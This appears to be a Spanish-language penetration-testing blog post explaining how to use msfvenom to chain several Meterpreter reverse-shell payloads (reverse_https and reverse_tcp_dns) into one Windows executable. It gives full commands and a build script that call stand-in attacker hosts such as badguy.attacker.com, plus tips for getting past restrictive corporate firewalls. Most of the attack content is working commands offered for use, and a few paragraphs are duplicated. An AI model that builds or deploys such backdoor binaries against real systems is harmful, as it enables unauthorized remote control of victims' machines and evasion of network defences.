Esta serie fue interrumpida hace unos días debido a la aparición de los nuevos payloads HTTP/HTTPS de Metasploit. No me quejo, ya que las nuevas funcionalidades (como veremos en la parte 2 de esta serie), son adiciónes épicas a la lista de payloads. Sin embargo, un cambio importante sucedió mientras se desataba esta locura con la aparición de los nuevos payloads. ScriptJunkie coló un impresionante cambio en msfvenom (mas conocido como msffsm).
TL;DR version: Este cambio nos permite poner múltiples payloads en un mismo binario.
ScriptJunkie da el siguiente ejemplo:
root@bt:~#ruby msfvenom -p windows/messagebox -f raw EXITFUNC=thread > /tmp/msgbox.raw root@bt:~#ruby msfvenom -p windows/meterpreter/reverse_tcp -f raw -t /tmp/msgbox.raw -k LHOST=192.168.0.102 EXITFUNC=thread > /tmp/rev102msgbox.raw root@bt:~#ruby msfvenom -p - -f exe < /tmp/rev102msgbox.raw > /tmp/rev102msgbox.exe
En este ejemplo, cuando el binario rev102msgbox.exe se ejecuta, muestra un mensaje emergente con las opciones predeterminadas (Hello, from MSF!) y dispara una conexión reversa tcp a la IP 192.168.0.102 en el puerto predeterminado 4444.
Este es un grán ejemplo y una buena forma de verificar que el payload funciona, pero no le vamos a informar a la víctima que estamos ahi simplemente diciendo "Hola" (especialmente si no estamos ahi para verle la cara :-P ).
Pienso entonces que esta sería una buena forma de lanzar un grupo de payloads para verificar algunas de las formas ya probadas de obtener acceso más allá de las redes restringidas, todo en un único binario.
Empezamos entonces con 3 payloads:
Empezamos entonces con 3 payloads:
- reverse_tcp_dns to port 7815
- reverse_tcp_dns to port 80
- reverse_https to port 443
Escogí estos porque puedo cambiar el DNS para que apunte a una nueva dirección IP en el futuro sin tener que volver a generar mi binario y el tamaño no es una preocupación ya que no lo utilizaremos en ningún exploit.
NOTA: El motivo por el cual utilizaré el puerto 7815 es debido a que algunas veces existen configuraciones de proxy para el puerto 80 y 443 los cuales ya estan soportados por los nuevos payloads HTTP/HTTPS (excepto proxys de autenticación) pero por alguna razón, en algunas redes corporativas aun se permite el tráfico a puertos no comunes sin restricción alguna.
A continuación lo que hice:
root@bt:~#./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw
root@bt:~#./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LHOST=badguy.attacker.com LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw
root@bt:~#./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LHOST=badguy2.attacker.com LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe
Afortunadamente (y veremos el por qué en un segundo), olvidé configurar un multi/handler en el puerto 7815, lo cual hizo darme cuenta de un problema. Cuando uno de los payloads fallaba en conectarse, el proceso 'ExitProcess' era llamado, causando que los demas payloads fueran terminados prematuramente (aunque estos ya estuvieran en segunda instancia).
Probé configurando AutoRunScript para usar 'migrate -f' de tal forma que los payloads migrarían en un nuevo proceso de Notepad. Pero la conexión se cayó muy rápidamente y los payloads no alcanzaron a hacer lo suyo.
Llega ReverseConnectRetries al rescate. Esta es una configuración avanzada para la familia reverse_tcp (ipv6_tcp, nonx_tcp, ord_tcp, tcp, tcp_allports, tcp_dns) la cual le dice al payload cuantas veces debe hacer loop a través de la conexión inicial. El valor por defecto es 5 pero puede ser entre 1 y 255. El valor de 255 es especial ya que establece un loop infinito.
Bien, se supone que si fallamos de nuevo ya no se llamará el comando ExitProcess, cierto? Pues esto no es del todo cierto, reverse_https y reverse_http no tienen este parámetro. Aun nos encontramos en una condición de carrera si queremos usar esos payloads, pero al menos es una carrera que podemos ganar.
Bien, se supone que si fallamos de nuevo ya no se llamará el comando ExitProcess, cierto? Pues esto no es del todo cierto, reverse_https y reverse_http no tienen este parámetro. Aun nos encontramos en una condición de carrera si queremos usar esos payloads, pero al menos es una carrera que podemos ganar.
He escrito un script de batch muy simple para generar mi nuevo binario cuando lo necesite (tampoco tendré que recordar todos los comandos):
#!/bin/bash echo Building Stage 1 ./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw echo Building Stage 2 ./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LHOST=badguy.attacker.com ReverseConnectRetries=255 LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw echo Building Stage 3 ./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LHOST=badguy2.attacker.com ReverseConnectRetries=255 LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe echo Cleaning up... rm -rf /tmp/stage1.raw /tmp/stage2.raw echo Done..
Adicionalmente nos dice lo que está pasando y hace un poco de limpieza, dejandonos solamente el binario-hydra. Una de las cosas que pensé agregar fue el payload cmd/windows/adduser de tal forma que si el usuario víctima es admin podemos tomarnos el día libre sin tener que agregarnos un usuario pero decidí no hacerlo por cuestiones de limpieza y por no generar ruido.
(Tambien notaremos que uno de los payloads hace otras cositas... No hay razón para no permitirle a nuestros payloads usar toda su potencia no?). Compartir es bueno.
